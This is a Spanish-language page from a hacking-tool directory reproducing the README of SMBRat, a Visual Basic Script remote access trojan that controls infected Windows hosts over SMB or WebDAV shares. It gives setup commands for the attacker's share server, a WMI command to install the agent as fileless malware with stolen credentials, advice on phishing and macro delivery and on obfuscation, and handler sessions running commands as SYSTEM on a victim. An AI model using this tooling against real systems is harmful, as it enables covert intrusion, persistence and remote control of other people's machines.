Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
SMBRat — Una herramienta de administración remota para Windows en Visual Basic con rutas UNC | Kitploit
Herramientas/GitHubGitHub/operatorequals/smbrat
Herramientas de PhishingGeneración de PayloadsMecanismos de PersistenciaExplotaciónMovimiento LateralShellcodePost-ExplotaciónPruebas de PenetraciónComando y ControlRed TeamingHerramienta de Acceso Remoto
2212hace 7 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
operatorequals/smbrat

SMBRat

Una herramienta de administración remota para Windows en Visual Basic con rutas UNC

Ver Repositorio

SMBRat

Una Herramienta de Administración Remota para Windows en Visual Basic Script

Idea

Los Entornos Windows como las redes de Active Directory, se saturan bastante con el tráfico SMB.

Todos los hosts reciben Políticas del SYSVOL, las configuraciones necesitan archivos remotos para funcionar, los accesos directos del escritorio tienden a apuntar a \\something\else\in\the\network.exe.

Nadie notaría un intento de conexión más. ¿Verdad?

- Especialmente si tiene éxito (está de moda monitorear solo los Denies del Firewall)

Ingredientes

Agente

Amigable con la Documentación/Archivo

El agent es un Visual Basic Script que se ejecuta en el host infectado y se conecta al Servidor SMB. Crea un directorio allí nombrado según el hostname del host y su dirección MAC principal (intentando ser único e informativo al mismo tiempo para fines de reporte). Todos los comandos e información del Host infectado se almacenarán en este directorio. ¡Hacer zip de toda la Carpeta Compartida archivará toda la información del proyecto!

Sigiloso

NO utiliza una letra de unidad para Montar el recurso compartido, solo usa rutas UNC para leer archivos remotos directamente (no se crea ninguna Unidad en explorer.exe).

También inyecta la ruta UNC en la variable %PATH% de su propio entorno de ejecución (puedes ejecutar ejecutables directamente desde el sistema de archivos de tu máquina Linux).

Ejecución del Agente

El agent está configurado para ejecutarse una sola vez. Sin estado.

Su rutina es (más o menos) la siguiente:

  • Busca un archivo llamado exec.dat en la carpeta que creó en el Recurso Compartido SMB
  • Si encuentra el archivo, lee su contenido y lo ejecuta como un comando con cmd.exe /c <comando> como una shell semi-interactiva.
  • La respuesta del comando se almacena en output.dat (junto a exec.dat).
  • Elimina el archivo exec.dat.
Página Wiki para Configurar el Agente

Handler

El handler necesita un Servidor SMB para funcionar. El módulo smbserver.py del paquete Core Security's impacket servirá.

Probablemente smbd también funcionaría, pero aún no ha sido probado.

Configuración del Servidor SMB

Se necesita un recurso compartido con nombre D$, para que parezca el SMB de un host Windows legítimo.

root@kitploit:~
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

¡El caso WebDAV!

Como el agent está configurado para usar solo rutas UNC, WebDAV también se puede usar con cero cambios. En lugar de un servidor SMB, se puede usar un servidor WebDAV (un gran servidor WebDAV con soporte SSL es wsgidav).

root@kitploit:~
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO    :  WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO    :  Lock manager:      LockManager(LockStorageDict)
[...] INFO    :  Property manager:  None
[...] INFO    :  Domain controller: SimpleDomainController()
[...] INFO    :  Registered DAV providers by route:
[...] INFO    :    - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO    :    - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING :  Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING :  Share '/:dir_browser' will allow anonymous read access.
[...] WARNING :  Share '/' will allow anonymous write access.
[...] INFO    :  Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO    :  Serving on http://0.0.0.0:80 ...

[...] INFO    :  192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status

Para el soporte SSL, las rutas UNC deben cambiar ligeramente, de:

root@kitploit:~
\\<Server-IP>\DIR\

a:

root@kitploit:~
\\<Server-IP>@SSL@443\DIR\

Este cambio solo se puede hacer en la variable ServerName de agent.vbs, ya que todas las rutas se construyen a partir de esta. Ten en cuenta que los certificados SSL deben ser confiables para el sistema que ejecuta el agent. Los Certificados autofirmados fallarán con advertencias.

Esquema de Infección

Infectar un Host desde un archivo

Se puede agregar un bucle While al inicio del archivo agent.vbs, con una declaración de retardo de varios segundos (10 segundos es lo ideal), y podrá infectar hosts Windows mediante doble clic / phishing / macros de excel / etc...

Un bucle while True en VBS con retardo de 1 segundo se ve así:

root@kitploit:~
Do While True
	[...]
	WScript.Sleep 1000
Loop

Infectar un Host sin archivos (fileless)

Sin embargo, si un host Windows tiene RPC habilitado, es posible instalar el archivo VBS como malware sin archivos a través de WMI y los fabulosos ejemplos del paquete impacket con un comando como:

root@kitploit:~
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10

También es posible utilizar la herramienta WMI mediante acceso local para instalar el agent.vbs como malware sin archivos.

¿Ofuscación?

Los Visual Basic Scripts se pueden ofuscar muy bien, también se pueden pasar a base64 y minificar.

Puede ser muy útil probarlo antes de "desplegarlo" 😉

  • Herramienta en línea para Ofuscación VBS
  • Repositorio de Github

Estructura de Directorios en el Recurso Compartido SMB

Nunca crees carpetas manualmente en la Carpeta Compartida

Uso Básico

Al momento de escribir esto, no hay una shell Handler implementada, por lo que el uso se puede hacer simplemente usando un comando como watch para inspeccionar el archivo output.dat:

root@kitploit:~
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat

y echo para escribir cosas en el archivo exec.dat:

root@kitploit:~
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat

El handler.py

La shell experimental funciona de la siguiente manera:

root@kitploit:~
$ python handler.py Share/
SMBRat> 
# When a new host gets infected:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"

SMBRat> execall whoami /user

[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
		
SMBRat> 
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF': 


USER INFORMATION
----------------

User Name           SID     
=================== ========
nt authority\system S-1-5-18

^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat> 
				

Errores Pendientes Destacados

SMBv1 No está Cifrado :

root@kitploit:~
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

[...]

15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)

E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"

[...]

15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)

E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................

.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...

[...]

15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)

[email protected]../.../..8..i~. 
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.

[...]

El tráfico (los contenidos y las rutas de los archivos) se transfieren en texto plano si se usa un Servidor SMBv1 (por ejemplo, smbserver.py de impacket).

  • ¡Una capa de cifrado/ofuscación resolvería esto por completo!

Todo el Recurso Compartido es de LECTURA/ESCRITURA para Todos:

Todos los Agentes pueden modificar archivos almacenados en Todo el Recurso Compartido. Esto significa que pueden modificar el exec.dat de otros Agentes... Un smbmap lo aclarará:

root@kitploit:~
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445	Name: Deskjet-4540                                      
	Disk                                                  	Permissions
	----                                                  	-----------
	D$                                                	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
	IPC$                                              	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually

Presta atención a la falta de los parámetros -u y -p de smbmap.

Esta es una sesión NULL (como el inicio de sesión anónimo de FTP). TODOS pueden cambiar los Archivos del RECURSO COMPARTIDO y obtener Ejecución Remota de Código en todas las máquinas infectadas.

  • Mejor levanta algunos iptables aquí...

Las sesiones NO son Interactivas

Escribe execall netsh y perderás a todos tus Agentes. Ninguno responderá, ya que el agent.vbs iniciará la shell de netsh.exe y esperará a que termine, para poder escribir su contenido en output.dat. Pero ¿Adivina qué?... No terminará... Se quedará colgado con el netsh> apuntando al vacío.

Descargar herramienta